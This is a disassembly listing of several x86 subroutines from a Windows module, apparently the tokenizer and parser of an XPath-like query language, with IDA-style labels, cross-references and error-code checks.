push 0C00CE385h
mov ecx, esi
call sub_69B62488
loc_69B5F57C: ; CODE XREF: sub_69B5F498+D3j
push 1
push 4
call sub_69B8A458
mov ecx, [esi+30h]
mov [ebp+var_4], eax
mov eax, [esi+28h]
push eax
push ecx
call sub_69B192E9
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
lea eax, [ebp+var_4]
push [ebp+arg_0]
mov ecx, esi
push eax
push ebx
call sub_69B5EC3F
push 29h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+var_4]
mov ecx, [esi+58h]
mov eax, [ecx]
push edi
call dword ptr [eax+4]
jmp loc_69B5F74E
; ---------------------------------------------------------------------------
loc_69B5F5D8: ; CODE XREF: sub_69B5F498+26j
push 0
push 2
call sub_69B8A458
mov [ebp+var_4], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
lea eax, [ebp+var_4]
push [ebp+arg_0]
mov ecx, esi
push eax
push 2
call sub_69B5EC3F
push 5
push [ebp+var_4]
call sub_69B67706
jmp loc_69B5F6B5
; ---------------------------------------------------------------------------
loc_69B5F614: ; CODE XREF: sub_69B5F498+1Dj
push 1
push offset off_69B296C4
jmp loc_69B5F4E2
; ---------------------------------------------------------------------------
loc_69B5F620: ; CODE XREF: sub_69B5F498+17j
cmp eax, 0FFFFFFFAh
jz loc_69B5F729
cmp eax, 0FFFFFFFBh
jz loc_69B5F71F
cmp eax, 24h
jz loc_69B5F6C5
cmp eax, 28h
jz short loc_69B5F670
loc_69B5F640: ; CODE XREF: sub_69B5F498+3Dj
cmp eax, 0FFFFFFA5h
jz short loc_69B5F666
cmp eax, 0FFFFFFA4h
jz short loc_69B5F666
cmp eax, 0FFFFFFA3h
jz short loc_69B5F666
push [ebp+arg_4]
xor ebx, ebx
push ebx
push 1
push ebx
mov ecx, esi
call sub_69B62690
loc_69B5F65F: ; CODE XREF: sub_69B5F498+1D6j
mov edi, eax
jmp loc_69B5F74C
; ---------------------------------------------------------------------------
loc_69B5F666: ; CODE XREF: sub_69B5F498+1ABj
; sub_69B5F498+1B0j ...
push eax
mov ecx, esi
call sub_69B5ECB6
jmp short loc_69B5F65F
; ---------------------------------------------------------------------------
loc_69B5F670: ; CODE XREF: sub_69B5F498+1A6j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
mov eax, [esi]
push [ebp+arg_0]
mov ecx, esi
call dword ptr [eax+40h]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5F696
dec dword ptr [esi+48h]
xor eax, eax
jmp loc_69B5F751
; ---------------------------------------------------------------------------
loc_69B5F696: ; CODE XREF: sub_69B5F498+1F2j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
cmp eax, ebx
jz loc_69B5F509
xor ecx, ecx
mov cl, [esi+0Ch]
push ecx
push [ebp+arg_4]
push eax
push ebx
call sub_69B667B7
loc_69B5F6B5: ; CODE XREF: sub_69B5F498+177j
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
jmp loc_69B5F509
; ---------------------------------------------------------------------------
loc_69B5F6C5: ; CODE XREF: sub_69B5F498+19Dj
xor ebx, ebx
cmp [esi+58h], ebx
jnz short loc_69B5F6DB
push ebx
push ebx
push edi
push 0C00CE605h
mov ecx, esi
call sub_69B62488
loc_69B5F6DB: ; CODE XREF: sub_69B5F498+232j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 0FFFFFFFCh
mov ecx, esi
call sub_69B5EB78
mov eax, [esi+1Ch]
mov ecx, [esi+30h]
mov [ebp+arg_4], eax
mov eax, [esi+28h]
push eax
push ecx
call sub_69B192E9
mov ecx, [esi+58h]
mov edx, [ecx]
push eax
call dword ptr [edx]
mov edi, eax
cmp edi, ebx
jnz short loc_69B5F745
push ebx
push ebx
push [ebp+arg_4]
mov ecx, esi
push 0C00CE605h
call sub_69B62488
jmp short loc_69B5F745
; ---------------------------------------------------------------------------
loc_69B5F71F: ; CODE XREF: sub_69B5F498+194j
push dword ptr [esi+24h]
call sub_69B65631
jmp short loc_69B5F73A
; ---------------------------------------------------------------------------
loc_69B5F729: ; CODE XREF: sub_69B5F498+18Bj
fld qword ptr [esi+40h]
mov eax, [esi+24h]
push ecx
push ecx ; double
fstp [esp+18h+var_18]
push eax ; int
call sub_69B6564F
loc_69B5F73A: ; CODE XREF: sub_69B5F498+C9j
; sub_69B5F498+28Fj
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
loc_69B5F745: ; CODE XREF: sub_69B5F498+7Aj
; sub_69B5F498+272j ...
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
loc_69B5F74C: ; CODE XREF: sub_69B5F498+1C9j
mov eax, edi
loc_69B5F74E: ; CODE XREF: sub_69B5F498+13Bj
dec dword ptr [esi+48h]
loc_69B5F751: ; CODE XREF: sub_69B5F498+1F9j
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B5F498 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F758 proc near ; CODE XREF: sub_69B5FB27+5Bp
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov ecx, [esi+1Ch]
xor eax, eax
cmp [esi+28h], eax
push edi
mov [ebp+var_8], ecx
jnz short loc_69B5F774
cmp [esi+2Ch], eax
jz short loc_69B5F786
loc_69B5F774: ; CODE XREF: sub_69B5F758+15j
push eax
push eax
push ecx
push 0C00CE600h
mov ecx, esi
mov [ebp+arg_0], eax
call sub_69B62488
loc_69B5F786: ; CODE XREF: sub_69B5F758+1Aj
mov eax, [esi+1Ch]
mov ax, [eax]
mov [ebp+var_4], ax
mov eax, [esi]
lea edi, [esi+30h]
mov ebx, [edi]
mov ecx, esi
call dword ptr [eax+44h]
push 28h
mov ecx, esi
call sub_69B5EB78
movzx eax, [ebp+var_4]
sub eax, 63h
push 2
pop ecx
jz loc_69B5F84C
sub eax, 0Bh
jz short loc_69B5F7DF
sub eax, ecx
jz short loc_69B5F802
sub eax, 4
jz short loc_69B5F7EF
loc_69B5F7C3: ; CODE XREF: sub_69B5F758+FAj
push 0
push 0
push [ebp+var_8]
mov ecx, esi
push 0C00CE600h
call sub_69B62488
xor al, al
loc_69B5F7D8: ; CODE XREF: sub_69B5F758+124j
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_69B5F7DF: ; CODE XREF: sub_69B5F758+60j
cmp ebx, dword_69B9B298
jnz short loc_69B5F7EF
mov eax, [ebp+arg_0]
or dword ptr [eax], 0FFFFFFFFh
jmp short loc_69B5F85D
; ---------------------------------------------------------------------------
loc_69B5F7EF: ; CODE XREF: sub_69B5F758+69j
; sub_69B5F758+8Dj
cmp ebx, dword_69B9B290
jnz short loc_69B5F802
mov eax, [ebp+arg_0]
mov dword ptr [eax], 1
jmp short loc_69B5F85D
; ---------------------------------------------------------------------------
loc_69B5F802: ; CODE XREF: sub_69B5F758+64j
; sub_69B5F758+9Dj
cmp ebx, dword_69B9B288
jnz short loc_69B5F84C
mov eax, [ebp+arg_0]
mov dword ptr [eax], 5
cmp word ptr [esi+0Eh], 29h
jz short loc_69B5F85D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 0FFFFFFFBh
mov ecx, esi
call sub_69B5EB78
push 0
lea eax, [esi+28h]
push eax
call sub_69B17320
push dword ptr [esi+24h]
call sub_69B19611
push eax
push edi
call sub_69B17320
push 0
add esi, 2Ch
push esi
jmp short loc_69B5F875
; ---------------------------------------------------------------------------
loc_69B5F84C: ; CODE XREF: sub_69B5F758+57j
; sub_69B5F758+B0j
cmp ebx, dword_69B9B280
jnz loc_69B5F7C3
mov eax, [ebp+arg_0]
mov [eax], ecx
loc_69B5F85D: ; CODE XREF: sub_69B5F758+95j
; sub_69B5F758+A8j ...
xor ebx, ebx
push ebx
lea eax, [esi+28h]
push eax
call sub_69B17320
push ebx
add esi, 2Ch
push esi
call sub_69B17320
push ebx
push edi
loc_69B5F875: ; CODE XREF: sub_69B5F758+F2j
call sub_69B17320
mov al, 1
jmp loc_69B5F7D8
sub_69B5F758 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F881 proc near ; DATA XREF: .text:69B12BBCo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov esi, ecx
call sub_69B60C68
mov eax, [esi+18h]
lea edx, [eax-2]
movzx eax, word ptr [esi+0Eh]
cmp eax, 3Bh
push 3Ah
mov [esi+1Ch], edx
pop ebx
jg loc_69B5F9D4
jz loc_69B5FAFE
cmp eax, 27h
jg short loc_69B5F922
jz short loc_69B5F916
mov ecx, eax
sub ecx, 0
jz loc_69B5FAFE
push 21h
pop edi
sub ecx, edi
jz short loc_69B5F8ED
dec ecx
jz short loc_69B5F916
dec ecx
jz loc_69B5FAFE
dec ecx
jnz loc_69B5FA66
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 24h
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5F8ED: ; CODE XREF: sub_69B5F881+46j
mov ecx, esi
call sub_69B5EA78
cmp word ptr [esi+0Eh], 3Dh
jnz short loc_69B5F90E
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF9h
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5F90E: ; CODE XREF: sub_69B5F881+78j
; sub_69B5F881+137j ...
mov [esi+20h], edi
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5F916: ; CODE XREF: sub_69B5F881+34j
; sub_69B5F881+49j
mov ecx, esi
call sub_69B62780
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5F922: ; CODE XREF: sub_69B5F881+32j
cmp eax, 28h
jl loc_69B5FA66
cmp eax, 2Dh
jle loc_69B5FAFE
push 2Eh
pop edi
cmp eax, edi
jz short loc_69B5F991
push 2Fh
pop edi
cmp eax, edi
jz short loc_69B5F96A
cmp eax, ebx
jnz loc_69B5FA66
mov ecx, esi
mov [esi+20h], ebx
call sub_69B5EA78
cmp [esi+0Eh], bx
jnz loc_69B5FB08
mov dword ptr [esi+20h], 0FFFFFFB1h
jmp loc_69B5FB01
; ---------------------------------------------------------------------------
loc_69B5F96A: ; CODE XREF: sub_69B5F881+BFj
mov ecx, esi
mov [esi+20h], edi
call sub_69B5EA78
cmp [esi+0Eh], di
jnz loc_69B5FB08
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFFDh
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5F991: ; CODE XREF: sub_69B5F881+B8j
mov ecx, esi
call sub_69B5EA78
mov ax, [esi+0Eh]
cmp ax, di
jnz short loc_69B5F9B4
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFFEh
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5F9B4: ; CODE XREF: sub_69B5F881+11Ej
cmp ax, 30h
jb loc_69B5F90E
cmp ax, 39h
ja loc_69B5F90E
loc_69B5F9C8: ; CODE XREF: sub_69B5F881+1FDj
mov ecx, esi
call sub_69B62EAF
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5F9D4: ; CODE XREF: sub_69B5F881+23j
cmp eax, 5Bh
jg short loc_69B5FA44
jz loc_69B5FAFE
mov ecx, eax
sub ecx, 3Ch
jz short loc_69B5FA1C
dec ecx
jz loc_69B5FAFE
dec ecx
jz short loc_69B5F9F4
dec ecx
dec ecx
jmp short loc_69B5FA60
; ---------------------------------------------------------------------------
loc_69B5F9F4: ; CODE XREF: sub_69B5F881+16Dj
mov ecx, esi
mov [esi+20h], eax
call sub_69B5EA78
cmp word ptr [esi+0Eh], 3Dh
jnz loc_69B5FB08
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF7h
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5FA1C: ; CODE XREF: sub_69B5F881+163j
mov ecx, esi
mov [esi+20h], eax
call sub_69B5EA78
cmp word ptr [esi+0Eh], 3Dh
jnz loc_69B5FB08
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 0FFFFFFF8h
jmp loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5FA44: ; CODE XREF: sub_69B5F881+156j
mov ecx, eax
sub ecx, 5Dh
jz loc_69B5FAFE
sub ecx, 1Eh
jz loc_69B5FAFE
dec ecx
jz loc_69B5FAEE
dec ecx
loc_69B5FA60: ; CODE XREF: sub_69B5F881+171j
jz loc_69B5FAFE
loc_69B5FA66: ; CODE XREF: sub_69B5F881+53j
; sub_69B5F881+A4j ...
mov eax, [esi+34h]
push esi
push eax
lea eax, [ebp+var_C]
push eax
push 0
push edx
call sub_69B6282D
mov edi, eax
mov eax, [esi+1Ch]
cmp edi, eax
jbe loc_69B5F9C8
cmp [edi], bx
jnz short loc_69B5FABF
cmp [edi+2], bx
jnz short loc_69B5FABF
mov ecx, edi
sub ecx, eax
sar ecx, 1
push ecx
push eax
mov ecx, esi
call sub_69B5EB0B
test al, al
mov ecx, esi
jz short loc_69B5FAAC
loc_69B5FAA4: ; CODE XREF: sub_69B5F881+26Bj
push edi
call sub_69B5EB96
jmp short loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5FAAC: ; CODE XREF: sub_69B5F881+221j
push 0
push 0
push dword ptr [esi+1Ch]
push 0C00CE607h
call sub_69B62488
jmp short loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5FABF: ; CODE XREF: sub_69B5F881+206j
; sub_69B5F881+20Cj
push [ebp+var_C]
lea eax, [esi+28h]
push eax
mov dword ptr [esi+20h], 0FFFFFFFCh
call sub_69B17320
push [ebp+var_8]
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push [ebp+var_4]
lea eax, [esi+30h]
push eax
call sub_69B17320
mov ecx, esi
jmp short loc_69B5FAA4
; ---------------------------------------------------------------------------
loc_69B5FAEE: ; CODE XREF: sub_69B5F881+1D8j
mov ecx, esi
call sub_69B5EA78
mov dword ptr [esi+20h], 7Ch
jmp short loc_69B5FB08
; ---------------------------------------------------------------------------
loc_69B5FAFE: ; CODE XREF: sub_69B5F881+29j
; sub_69B5F881+3Bj ...
mov [esi+20h], eax
loc_69B5FB01: ; CODE XREF: sub_69B5F881+E4j
mov ecx, esi
call sub_69B5EA78
loc_69B5FB08: ; CODE XREF: sub_69B5F881+67j
; sub_69B5F881+88j ...
mov eax, [esi+20h]
pop edi
pop esi
pop ebx
leave
retn
sub_69B5F881 endp
; =============== S U B R O U T I N E =======================================
sub_69B5FB10 proc near ; CODE XREF: sub_69B3D17C+Bp
; sub_69B5FE43+30p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B5F0ED SIZE 0000002A BYTES
push 60h
call sub_69B17EF3
test eax, eax
jz short loc_69B5FB22
mov ecx, eax
jmp loc_69B5F0ED
; ---------------------------------------------------------------------------
loc_69B5FB22: ; CODE XREF: sub_69B5FB10+9j
xor eax, eax
retn 4
sub_69B5FB10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5FB27 proc near ; CODE XREF: sub_69B5FCE2+6Cp
; sub_69B60160+1Cp ...
var_8 = dword ptr -8
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_8], 0FFFFFFBCh
push ebx
push esi
setz [ebp+var_1]
cmp [ebp+arg_8], 0FFFFFFB6h
mov esi, ecx
mov eax, [esi+20h]
mov ebx, [esi+1Ch]
setz [ebp+var_3]
cmp eax, 0FFFFFFFCh
push edi
mov [ebp+var_2], 0
mov edi, 0C00CE600h
jz short loc_69B5FB65
cmp eax, 2Ah
jz short loc_69B5FB65
push 0
push 0
push ebx
push edi
call sub_69B62488
loc_69B5FB65: ; CODE XREF: sub_69B5FB27+2Cj
; sub_69B5FB27+31j
mov eax, [esi+20h]
cmp eax, 0FFFFFFFCh
jnz loc_69B5FBF1
cmp word ptr [esi+0Eh], 28h
jnz short loc_69B5FBF1
lea eax, [ebp+var_8]
push eax
mov ecx, esi
mov [ebp+var_2], 1
call sub_69B5F758
test al, al
jnz short loc_69B5FB98
push 0
push 0
push ebx
push edi
mov ecx, esi
call sub_69B62488
loc_69B5FB98: ; CODE XREF: sub_69B5FB27+62j
mov edi, [ebp+var_8]
loc_69B5FB9B: ; CODE XREF: sub_69B5FB27+101j
; sub_69B5FB27+10Aj ...
cmp [ebp+var_1], 0
jnz short loc_69B5FBAB
cmp [ebp+var_3], 0
jz loc_69B5FC4E
loc_69B5FBAB: ; CODE XREF: sub_69B5FB27+78j
cmp edi, 0Fh
jz loc_69B5FC4B
cmp edi, 0FFFFFFFFh
jz loc_69B5FC4B
xor eax, eax
mov al, [esi+0Ch]
push eax
call sub_69B686B1
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 29h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, edi
add edi, 8
neg eax
sbb eax, eax
and eax, edi
jmp loc_69B5FCDB
; ---------------------------------------------------------------------------
loc_69B5FBF1: ; CODE XREF: sub_69B5FB27+44j
; sub_69B5FB27+4Fj
mov cl, [ebp+var_1]
neg cl
sbb ecx, ecx
and ecx, 0Fh
cmp eax, 2Ah
mov edi, ecx
jnz short loc_69B5FC23
push 0
lea eax, [esi+28h]
push eax
call sub_69B17320
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
push 0
lea eax, [esi+2Ch]
push eax
call sub_69B17320
loc_69B5FC23: ; CODE XREF: sub_69B5FB27+D9j
xor eax, eax
cmp [esi+2Ch], eax
jz loc_69B5FB9B
cmp [esi+28h], eax
jnz loc_69B5FB9B
push eax
push eax
push ebx
push 0C00CE60Fh
mov ecx, esi
call sub_69B62488
jmp loc_69B5FB9B
; ---------------------------------------------------------------------------
loc_69B5FC4B: ; CODE XREF: sub_69B5FB27+87j
; sub_69B5FB27+90j
push 0Fh
pop edi
loc_69B5FC4E: ; CODE XREF: sub_69B5FB27+7Ej
cmp [ebp+arg_8], 0FFFFFFB2h
jz short loc_69B5FC87
cmp [ebp+arg_8], 0FFFFFFBBh
jz short loc_69B5FC60
cmp [ebp+arg_8], 0FFFFFFBCh
jnz short loc_69B5FCB9
loc_69B5FC60: ; CODE XREF: sub_69B5FB27+131j
mov eax, [esi+30h]
mov ecx, [esi+2Ch]
mov edx, [esi+28h]
cmp edi, 1
setz bl
push ebx
xor ebx, ebx
mov bl, [esi+0Ch]
push ebx
push edi
push [ebp+arg_4]
push eax
push ecx
push edx
push [ebp+arg_0]
call sub_69B685B5
jmp short loc_69B5FCAC
; ---------------------------------------------------------------------------
loc_69B5FC87: ; CODE XREF: sub_69B5FB27+12Bj
mov eax, [esi+2Ch]
mov ecx, [esi+30h]
mov edx, [esi+28h]
cmp edi, 1
setz bl
push ebx
xor ebx, ebx
mov bl, [esi+0Ch]
push ebx
push [ebp+arg_4]
push eax
push ecx
push edx
push edi
push [ebp+arg_0]
call sub_69B67CEB
loc_69B5FCAC: ; CODE XREF: sub_69B5FB27+15Ej
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
jmp short loc_69B5FCBC
; ---------------------------------------------------------------------------
loc_69B5FCB9: ; CODE XREF: sub_69B5FB27+137j
mov edi, [ebp+arg_8]
loc_69B5FCBC: ; CODE XREF: sub_69B5FB27+190j
cmp [ebp+var_2], 0
jz short loc_69B5FCD2
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 29h
mov ecx, esi
call sub_69B5EB78
loc_69B5FCD2: ; CODE XREF: sub_69B5FB27+199j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, edi
loc_69B5FCDB: ; CODE XREF: sub_69B5FB27+C5j
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B5FB27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5FCE2 proc near ; CODE XREF: sub_69B5FEEC+B9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
call sub_69B5EA61
mov eax, [edi+20h]
cmp eax, 0FFFFFFFCh
jz short loc_69B5FD44
cmp eax, 2Ah
jz short loc_69B5FD18
cmp eax, 40h
mov ecx, edi
jz short loc_69B5FD0F
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B60230
jmp short loc_69B5FD53
; ---------------------------------------------------------------------------
loc_69B5FD0F: ; CODE XREF: sub_69B5FCE2+1Ej
mov eax, [edi]
call dword ptr [eax+44h]
push 0FFFFFFBCh
jmp short loc_69B5FD46
; ---------------------------------------------------------------------------
loc_69B5FD18: ; CODE XREF: sub_69B5FCE2+17j
xor ecx, ecx
mov cl, [edi+0Ch]
xor eax, eax
push eax
push ecx
push eax
push [ebp+arg_4]
push eax
push eax
push eax
push [ebp+arg_0]
call sub_69B685B5
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
and esi, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
jmp short loc_69B5FD55
; ---------------------------------------------------------------------------
loc_69B5FD44: ; CODE XREF: sub_69B5FCE2+12j
push 0FFFFFFBBh
loc_69B5FD46: ; CODE XREF: sub_69B5FCE2+34j
push [ebp+arg_4]
mov ecx, edi
push [ebp+arg_0]
call sub_69B5FB27
loc_69B5FD53: ; CODE XREF: sub_69B5FCE2+2Bj
mov esi, eax
loc_69B5FD55: ; CODE XREF: sub_69B5FCE2+60j
dec dword ptr [edi+48h]
pop edi
mov eax, esi
pop esi
pop ebp
retn 8
sub_69B5FCE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5FD60 proc near ; CODE XREF: sub_69B6048B+58p
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
call sub_69B5EA61
push [ebp+arg_4]
mov ecx, edi
push [ebp+arg_0]
call sub_69B5F498
xor ebx, ebx
cmp dword ptr [edi+20h], 5Bh
mov esi, eax
mov eax, [edi+1Ch]
mov [ebp+var_18], ebx
mov [ebp+var_14], bl
jnz loc_69B5FE2F
jmp short loc_69B5FD99
; ---------------------------------------------------------------------------
loc_69B5FD96: ; CODE XREF: sub_69B5FD60+C9j
mov eax, [ebp+var_8]
loc_69B5FD99: ; CODE XREF: sub_69B5FD60+34j
push ebx
push ebx
push eax
push esi
mov ecx, edi
call sub_69B62F36
mov ecx, [edi+1Ch]
push [ebp+arg_4]
mov [ebp+var_8], ecx
push eax
mov ecx, edi
mov [ebp+arg_0], eax
call sub_69B5EBFB
mov esi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+4Ch]
mov [ebp+var_4], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B5FDE5
test byte ptr [ebp+var_4+1], 2
jz short loc_69B5FDE5
xor eax, eax
mov al, [edi+0Ch]
push eax
push [ebp+arg_4]
push esi
push ebx
push [ebp+arg_0]
jmp short loc_69B5FE15
; ---------------------------------------------------------------------------
loc_69B5FDE5: ; CODE XREF: sub_69B5FD60+6Dj
; sub_69B5FD60+73j
test byte ptr [ebp+var_4+1], 1
jnz short loc_69B5FE07
xor eax, eax
mov al, [edi+0Ch]
push eax
push [ebp+arg_0]
call sub_69B664E8
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp+arg_0], ecx
loc_69B5FE07: ; CODE XREF: sub_69B5FD60+89j
xor eax, eax
mov al, [edi+0Ch]
push eax
push [ebp+arg_4]
push esi
push [ebp+arg_0]
push ebx
loc_69B5FE15: ; CODE XREF: sub_69B5FD60+83j
call sub_69B65FCF
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
and esi, eax
cmp dword ptr [edi+20h], 5Bh
jz loc_69B5FD96
loc_69B5FE2F: ; CODE XREF: sub_69B5FD60+2Ej
lea ecx, [ebp+var_18]
call sub_69B466CC
dec dword ptr [edi+48h]
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 8
sub_69B5FD60 endp
; =============== S U B R O U T I N E =======================================
sub_69B5FE43 proc near ; DATA XREF: .text:69B1C7F8o
; .text:69B1C808o
push 20h
push offset dword_69B5FEE0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B5FE63
mov eax, 80004005h
jmp short loc_69B5FED4
; ---------------------------------------------------------------------------
loc_69B5FE63: ; CODE XREF: sub_69B5FE43+17j
push 0
lea ecx, [ebp-28h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
push 1
call sub_69B5FB10
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push eax
call dword ptr [ecx]
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
jmp short loc_69B5FED4
; ---------------------------------------------------------------------------
loc_69B5FEA3: ; DATA XREF: .text:69B5FEE4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5FEAC: ; DATA XREF: .text:69B5FEE8o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov esi, eax
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, esi
loc_69B5FED4: ; CODE XREF: sub_69B5FE43+1Ej
; sub_69B5FE43+5Ej
call sub_69B1853C
retn 8
sub_69B5FE43 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B5FEE0 dd 0FFFFFFFFh dd offset loc_69B5FEA3
dd offset loc_69B5FEAC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5FEEC proc near ; CODE XREF: sub_69B60077+38p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, [esi+1Ch]
push edi
mov [ebp+var_4], eax
call sub_69B5EA61
mov eax, [esi+20h]
xor ebx, ebx
cmp eax, 2Eh
jnz short loc_69B5FF43
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_69B5FF1A
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov edi, eax
jmp short loc_69B5FF3A
; ---------------------------------------------------------------------------
loc_69B5FF1A: ; CODE XREF: sub_69B5FEEC+23j
xor eax, eax
mov al, [esi+0Ch]
push ebx
push eax
push [ebp+arg_4]
push ebx
push ebx
push ebx
push 0FFFFFFFFh
push ebx
call sub_69B67CEB
loc_69B5FF2F: ; CODE XREF: sub_69B5FEEC+6Fj
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
loc_69B5FF3A: ; CODE XREF: sub_69B5FEEC+2Cj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
jmp short loc_69B5FFAC
; ---------------------------------------------------------------------------
loc_69B5FF43: ; CODE XREF: sub_69B5FEEC+1Cj
cmp eax, 0FFFFFFFEh
jnz short loc_69B5FF5D
push ebx
xor eax, eax
mov al, [esi+0Ch]
push 1
push ebx
push eax
push ebx
push [ebp+arg_0]
call sub_69B68C7E
jmp short loc_69B5FF2F
; ---------------------------------------------------------------------------
loc_69B5FF5D: ; CODE XREF: sub_69B5FEEC+5Aj
cmp eax, 0FFFFFFFDh
mov ecx, esi
jnz short loc_69B5FF9F
mov eax, [esi]
call dword ptr [eax+44h]
push ebx
push 1
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B60160
mov ecx, esi
mov edi, eax
call sub_69B5EADA
test al, al
jz short loc_69B5FFAC
push ebx
push ebx
push [ebp+var_4]
push edi
call sub_69B62F36
push ebx
push [ebp+arg_4]
mov ecx, esi
push eax
call sub_69B60077
jmp short loc_69B5FFAA
; ---------------------------------------------------------------------------
loc_69B5FF9F: ; CODE XREF: sub_69B5FEEC+76j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B5FCE2
loc_69B5FFAA: ; CODE XREF: sub_69B5FEEC+B1j
mov edi, eax
loc_69B5FFAC: ; CODE XREF: sub_69B5FEEC+55j
; sub_69B5FEEC+98j
cmp edi, ebx
jnz short loc_69B5FFB7
dec dword ptr [esi+48h]
xor eax, eax
jmp short loc_69B5FFC8
; ---------------------------------------------------------------------------
loc_69B5FFB7: ; CODE XREF: sub_69B5FEEC+C2j
push [ebp+arg_4]
mov ecx, esi
push edi
push [ebp+arg_0]
call sub_69B5F3B7
dec dword ptr [esi+48h]
loc_69B5FFC8: ; CODE XREF: sub_69B5FEEC+C9j
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B5FEEC endp
